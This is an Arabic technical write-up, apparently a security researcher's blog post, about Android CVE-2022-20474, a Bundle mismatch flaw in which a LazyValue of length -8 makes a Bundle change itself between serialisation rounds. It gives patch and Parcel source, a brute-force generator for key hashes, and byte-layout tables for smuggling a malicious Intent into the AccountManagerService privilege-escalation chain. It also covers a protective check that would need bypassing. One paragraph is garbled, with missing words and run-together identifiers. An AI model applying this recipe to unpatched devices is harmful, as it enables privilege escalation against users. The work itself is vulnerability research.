
تحليل تقني مفصّل وإثبات مفهوم لثغرة CVE-2022-20474 في أندرويد، وهي ثغرة عدم تطابق في Bundle تستغل LazyValue بطول سالب لتحقيق سلوك Bundle يتغيّر ذاتيًا.
ملاحظة مهمة، قبل قراءة هذا المقال، ينبغي أن يكون لديك فهم أولي للثغرات المتعلقة بعدم تطابق الحزمة (Bundle Mismatch). المواد المرجعية التالية إذا لم تكن قد قرأتها بعد، يُنصح بقراءتها أولاً:
لقد كنت أدرس مؤخراً مقال LeakValue لـ michalbednarski بدقة. أثناء المناقشة مع Canyie، قال إن هذه المقالة تذكر أيضاً حالة حزمة متغيرة ذاتياً (Self-changing Bundle) في سيناريو LazyValue، فذهبت للبحث عن النص الأصلي، وكان هناك بالفعل مثل هذه الفقرة التي فاتتني أثناء قراءة مقال ميشال. النص الأصلي يقول ما يلي:
(Also
LazyValuewith negative length specified can be used (without using other bugs described in this writeup) to create self-changingBundle, the thingLazyValuewas created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
ما يشير إليه ميشال هو على الأرجح CVE-2022-20474 (النشرة, التصحيح)، ألقيت نظرة على التصحيح، لكن الوظيفة في رابط التصحيح لم تكن كاملة، فقمت بإكمالها ثم درستها بعناية:
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
objectLength في الكود هو length في LazyValue، في الحقيقة هذا هو فقط طول الكائن المتغير المضمن في LazyValue، بينما يجب أن يكون طول LazyValue بأكمله محكوماً بحقل mLength، أي valueLength في الكود، والذي يُمرر إلى mLength في دالة البناء لـ LazyValue.
دعنا نقارن مع تنسيق تخطيط LazyValue كما يلي:
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
بناءً على ما سبق، يمكننا الحصول على الحقائق التالية:
mLength يمثل طول LazyValue بالكامل، mLength = objectLength + 8 بايت.objectLength أكبر من أو يساوي 0.LazyValue يحفظ فقط mLength، ولا يحفظ objectLength، لأن LazyValue يقوم بنسخ الذاكرة بناءً على الكائن بالكامل.LazyValue مرة أخرى.ثم، بعد تفكير عميق، اتفقنا جميعاً على أن هذه الحقائق لا فائدة منها! لأنه بناءً على الحقائق أعلاه، لا يمكن تعديل القيمة إلا مرة واحدة أثناء القراءة، ونحن نعلم أن الفكرة الأساسية لـ Self-changed Bundle هي التعديل بعد اكتمال القراءة لتجاوز الفحوصات الأمنية.
بينما كنا على وشك الاستسلام، اكتشفنا فجأة بعض التفاصيل في وصف التصحيح:
Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.
objectLength غير الطبيعيحيث يذكر أن objectLength يساوي -8 يسبب بعض المشاكل، مما أعطانا إلهاماً إضافياً. هل يمكن لـ LazyValue العمل بشكل طبيعي في هذه الحالة؟
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
يمكن ملاحظة أن readValue الفعلية تبدأ القراءة من mPosition، ثم تقرأ LazyType و objectLength بالتتابع، ثم تدخل في تدفق قراءة Value العادي، مثل قراءة ClassName لـ Parcelable، ثم تنفيذ createFromParcel، بعد اكتمال القراءة، لا يوجد فرق عن Key-Value العادي، ولا يؤثر على التسلسل اللاحق. بالرجوع مرة أخرى، الفكرة الأساسية لـ Self-changed Bundle هي التعديل بعد اكتمال القراءة، ولكن هذا مجرد قراءة عادية تتجاوز الحدود، ويبدو أن هذا الاتجاه غير قابل للتطبيق.
ماذا لو لم يتم تطبيق LazyValue خلال هذه العملية، أي أنه يستمر في المشاركة في IPC كهوية LazyValue، وعندها سيتم استدعاء دالة writeToParcel:
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
سيتم نسخ LazyValue بالكامل مباشرة، إلا إذا كان mLength = 0. انتظر! ذكر أعلاه أن mLength = objectLength + 8 بايت، ومن معلومات التصحيح يمكننا معرفة أنه لتفعيل الثغرة يجب أن يكون objectLength = -8، وبالتالي mLength = 0 يتحقق. بمعنى آخر، في هذا السيناريو تختفي LazyValue بالكامل، ولن يتم نسخ سوى String Key، مما يسبب كتابة ناقصة، وبذلك يتحقق شرط Self-changed Bundle مباشرة.
بعد معرفة السبب، يمكننا البدء في إعادة إنتاج الثغرة، ولكن قبل ذلك، نحتاج إلى تفاصيل صغيرة إضافية.
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
نعلم جميعاً أن تخطيط الذاكرة لـ Bundle تقريباً كما يلي:
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
MAGIC هو رقم سحري في تخطيط الذاكرة لـ Bundle، يمكن أن يكون BUNDLE_MAGIC أو BUNDLE_MAGIC_NATIVE. الفرق الأهم بينهما هو أن BUNDLE_MAGIC يؤدي إلى إعادة ترتيب Key-Value بعد اكتمال إلغاء التسلسل، كما في الكود التالي:
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
يؤثر علامة MAGIC في النهاية على قيمة sorted في readArrayMap، مما يؤدي إلى فرز الخريطة. تشير التعليقات أيضاً إلى أن طريقة الفرز تعتمد على قيمة hash لـ key String.
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
دعنا نتأمل مرة أخرى في تدفق تحليل ArrayMap. في الجولة الأولى من التحليل، سيتم تحليل Key1 أولاً، ثم محاولة تحليل LazyValue1. ولكن LazyValue1 لديه objectLength يساوي -8، لذا فإن مؤشر parcel سيعود إلى بداية LazyValue1، أي النقطة a، وهذا ما ذكر في الحقيقة 4 أعلاه، وبذلك يكتمل تحليل أول Key-Map. سيبدأ تحليل Key-Value الثاني من النقطة a، وعندها سيتم قراءة طول String أولاً، بافتراض أن LazyValue1 يحتوي على Parcelable، فإن هذا الطول يجب أن يكون 4. لذلك، فإن Key2 الفعلي يبدأ من النقطة a، أي Key2 = + . لا يحتوي على أي بيانات، لذا طوله هو 8 بايت (LazyType + objectLength)، بينما طول بالكامل هو 4 (مؤشر الطول) + 4 * 2 + 4 ("\0") = 16 بايت، ناقصاً 8 بايت من ، نحتاج إلى إضافة 8 بايت إضافية أثناء البناء، أي 2 . ثم يتم قراءة . لذلك، أثناء التحليل الأول، نحتاج إلى استخدام للتعامل مع مشكلة تحرك المؤشر للأمام الناتجة عن بقيمة سالبة. لا نهتم بقيمة هذه، لأنها تُستخدم فقط في التحليل الأول، وهي مجرد أداة مساعدة. بما أنها أداة تُستخدم مرة واحدة، نأمل عند اكتمال التحليل الأول أن تكون بعيدة عن بياناتنا الحساسة، وأن تحتوي على بياناتنا الخبيثة. من الأفضل أن تكون قيمة hash لـ أكبر من قيمة hash لـ ، حتى لا تؤثر على التحليل اللاحق. من خلال ، يمكننا تعديل قيمة hash لـ لتحقيق هذا الهدف، وسنشرح ذلك بالتفصيل في . ثم ندخل في تحليل . القاعدة القديمة لـ ، نضع في يحتوي على خبيث، لكن لديه بعض القيود الإضافية. بعد اكتمال إلغاء التسلسل في الجولة الأولى، يجب أن يكون تخطيط كما يلي، حيث يتم وضع الأداة في النهاية:
Key1-Value1 | Key3-Value3 | Key2-Value2
كما ذكرنا في القسم objectLength غير الطبيعي، طول LazyValue1 هو 0، لذلك أثناء writeToParcel، لم يتم نسخه إطلاقاً! التخطيط الفعلي هو:
Key1 | Key3-Value3 | Key2-Value2
بعد قراءة Key1، لا يزال بحاجة إلى قراءة Value1، وهنا مرة أخرى قراءة عابرة للحدود، ويجب أن يتحمل Key3 مسؤولية قراءة LazyValue1. أول int في Key3 يجب أن يعمل كدور طول String، وأيضاً كدور نوع LazyValue Type، وهذا يعني أن طول Key3 لا يمكن أن يكون قصيراً جداً، وإلا سيكون حساب hash صعباً. نظرت إلى قائمة أنواع LazyValue، واخترت:
private static final int VAL_LIST = 11; // length-prefixed
بالطبع يمكنك اختيار 12 أو 16 أو 17 أيضاً، المهم ألا يكون قصيراً جداً.
أما ثاني int في Key3 فيجب أن يعمل كدور Length لـ LazyValue، ومن خلاله يمكننا التحكم في طول LazyValue1، وتوجيه المؤشر التالي إلى بداية Intent الخبيث. تقول إن محتوى LazyValue1 غير قانوني؟ لا يهمني، طالما أنك لا تستدعي getXXX لتطبيق apply عليه، فسيظل دائماً LazyValue.
اكتب مولداً بسيطاً:
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
بالطبع، يمكننا أيضاً كسر Key2 بقوة غاشمة وضبطه إلى الأمام، لكن طول Key2 ثابت وهو 4، قصير نسبياً، والمساحة المتاحة للعمل أقل، بينما قمنا بحجز بعض المساحة لـ Key3 في الأعلى، مما يجعل كسره أسهل. بافتراض أن Key1 لدينا هو السلسلة "Cxxsheng"، نريد التحكم في قيمة hash لـ Key3 بحيث تكون أكبر من hash "Cxxsheng"، ولكن أكبر بقليل فقط. لقد حددت 1000000، بحيث تكون هناك احتمالية كبيرة لبقائهما معاً دائماً، ولا يمكن للطرف الثالث Key2 أن يتدخل. كما ذكر أعلاه، أول intين في string ثابتان. لذلك نكتب أولاً VAL_LIST (وهو أيضاً طول String)، ونحسب أن المسافة المتبقية إلى Intent الخبيث هي 32 بايت، ويمكن استخدام الأصفار المتبقية للقوة الغاشمة. اختر اثنين عشوائياً للقوة الغاشمة.
يمكن استخدام number1 و number2 للتحكم في ترتيب القيمة الثالثة في ArrayMap. لأن ArrayMap يتم ترتيبه بناءً على hashcode للمفتاح، مما يسمح للقيمة الثالثة بأن تصبح الثانية بعد إلغاء التسلسل، مباشرة بعد المفتاح الأول "Cxxsheng"، كما يلي:
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[一段乱码]=[恶意的ByteArray], [一段乱码]=0}]
يمكن ملاحظة أن ترتيب القراءة سيكون مختلفاً عن ترتيب الكتابة. بعد اكتمال الكتابة، كما حللنا أعلاه، تم فقدان LazyValue بالكامل، وأعيد ترتيب Key-Value الثالث ليصبح الثاني، بما في ذلك type و objectLength، وبالتالي سيصبح تخطيط الصفحة كما يلي:
يمكن للقارئ استخدام سلسلة استغلال AccountManagerService الكلاسيكية بنفسه، أما إمكانية استغلالها فلن نناقشها أكثر هنا، لأن ذلك يعتمد على ما إذا كانت وظيفة checkKeyIntentParceledCorrectly موجودة في تصحيح نوفمبر 2022. هنا أشرح بشكل إضافي، أن هذه الوظيفة تستخدم تدفق استدعاء IPC المحاكي لقطع سلسلة استغلال AccountManagerService. لذلك، حتى في Android 12 أو 13 إذا كان هناك عدم تطابق، قد لا يكون الاستغلال ناجحاً، ويحتاج إلى إيجاد طريقة لتجاوز هذه الوظيفة.
يمكننا محاكاة هذه الوظيفة لتقليد تدفق استدعاء IPC كما يلي:
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); // أثناء التصحيح، يمكن رؤية بيانات parcel هنا
// marshall لن يغير مؤشر Parcel
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
ثم استمتع بمخرجات السجل من خلال تدفق استدعاء IPC المحاكي، للإشارة المحددة يمكنك الرجوع إلى كود Github الخاص بي:

LazyValue1FakeKey2LazyValue1stringLazyValue1writeIntValue2Key2-Value2LazyValue1objectLengthKey2-Value2Key3-Value3Key2Key1Key3Key2-Value2Bundle mismatchValue3ByteArrayIntentKey3ArrayMapKey2-Value2| القيمة | الشرح |
|---|
| "Cxxsheng" | المفتاح الأول |
| 4 | سيتم قراءة جولتين: الأولى تمثل VAL_PARCELABLE؛ الثانية تصبح طول سلسلة المفتاح الثاني |
| -8 | سيتم قراءة جولتين: الأولى تمثل objectLength لـ LazyValue، مما يسبب تحرك مؤشر القراءة للأمام، مما يؤدي إلى جولتين قراءة؛ الثانية تصبح قيمة سلسلة المفتاح الثاني |
| 0 | قيمة سلسلة المفتاح الثاني |
| 0 | قيمة سلسلة المفتاح الثاني |
| 1 | VAL_INTEGER |
| 0 | القيمة الثانية |
| 11 | طول سلسلة المفتاح الثالث |
| 32 | قيمة سلسلة المفتاح الثالث |
| 0 | قيمة سلسلة المفتاح الثالث |
| 0 | قيمة سلسلة المفتاح الثالث |
| number1 | قيمة سلسلة المفتاح الثالث، هاتان القيمتان تستخدمان لضبط الترتيب |
| number2 | قيمة سلسلة المفتاح الثالث، هاتان القيمتان تستخدمان لضبط الترتيب |
| 0 | قيمة سلسلة المفتاح الثالث |
| 13 | VAL_BYTEARRAY |
| طول LazyValue | محسوب |
| طول ByteArray | محسوب |
| ByteArray | يحتوي على Key-Value الخبيث، أي Intent.EXTRA_INTENT و Intent الخاص به |
| القيمة | الشرح |
|---|
| "Cxxsheng" | المفتاح الأول |
| 11 | VAL_LIST |
| 32 | طول القيمة الأولى، ما بعد ذلك غير قانوني لم يعد مهماً (على أي حال لن يتم تطبيق هذا LazyValue)، يشير مباشرة إلى بداية Intent الخبيث في ByteArray |
| 0 | قيمة في LazyValue |
| 0 | قيمة في LazyValue |
| number1 | قيمة في LazyValue |
| number2 | قيمة في LazyValue |
| 0 | قيمة في LazyValue |
| 13 | قيمة في LazyValue |
| طول LazyValue | قيمة في LazyValue |
| طول ByteArray | قيمة في LazyValue |
بداية ByteArray / Intent.EXTRA_INTENT | المفتاح الثاني |
| Intent | القيمة الثانية |
| Key-Value الثالث | تم ترتيبه إلى النهاية |